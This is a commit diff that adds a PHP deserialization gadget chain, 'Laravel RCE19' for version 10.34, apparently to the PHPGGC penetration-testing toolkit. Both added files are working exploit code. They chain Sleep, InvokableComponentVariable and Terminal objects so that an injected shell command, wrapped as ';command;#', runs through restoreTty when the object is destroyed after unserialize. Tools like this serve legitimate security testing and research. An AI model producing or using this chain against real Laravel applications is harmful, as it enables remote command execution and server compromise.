Merge pull request ambionics#173 from MaxRio87/laravel

[Laravel] RCE19 : 10.34

Author: cfreal

gadgetchains/Laravel/RCE/19/chain.php

@@ -0,0 +1,18 @@
+<?php
+
+namespace GadgetChain\Laravel;
+
+class RCE19 extends \PHPGGC\GadgetChain\RCE\Command
+{
+    public static $version = '10.34';
+    public static $vector = '__destruct';
+    public static $author = 'Fenrisk (Maxime Rinaudo)';
+    public static $information = '';
+
+    public function generate(array $parameters)
+    {
+        $command = $parameters['command'];
+        
+        return new \Illuminate\Support\Sleep($command);
+    }
+}

gadgetchains/Laravel/RCE/19/gadgets.php

@@ -0,0 +1,39 @@
+<?php
+
+namespace Laravel\Prompts {
+    class Terminal {
+        public $initialTtyMode;
+
+        function __construct($command)
+        {
+            $this->initialTtyMode = ";".$command.";#";
+        }
+    }
+}
+
+namespace Illuminate\View {
+    class InvokableComponentVariable 
+    {
+        public $callable;
+
+        function __construct($command)
+        {
+            $this->callable = array(new \Laravel\Prompts\Terminal($command),'restoreTty');
+        }
+    }
+}
+
+namespace Illuminate\Support {
+    class Sleep
+    {
+        public $shouldSleep;
+        public $duration;
+
+        function __construct($command)
+        {
+            $this->shouldSleep = true;
+            $this->duration = new \Illuminate\View\InvokableComponentVariable($command);
+        }
+    }
+}
+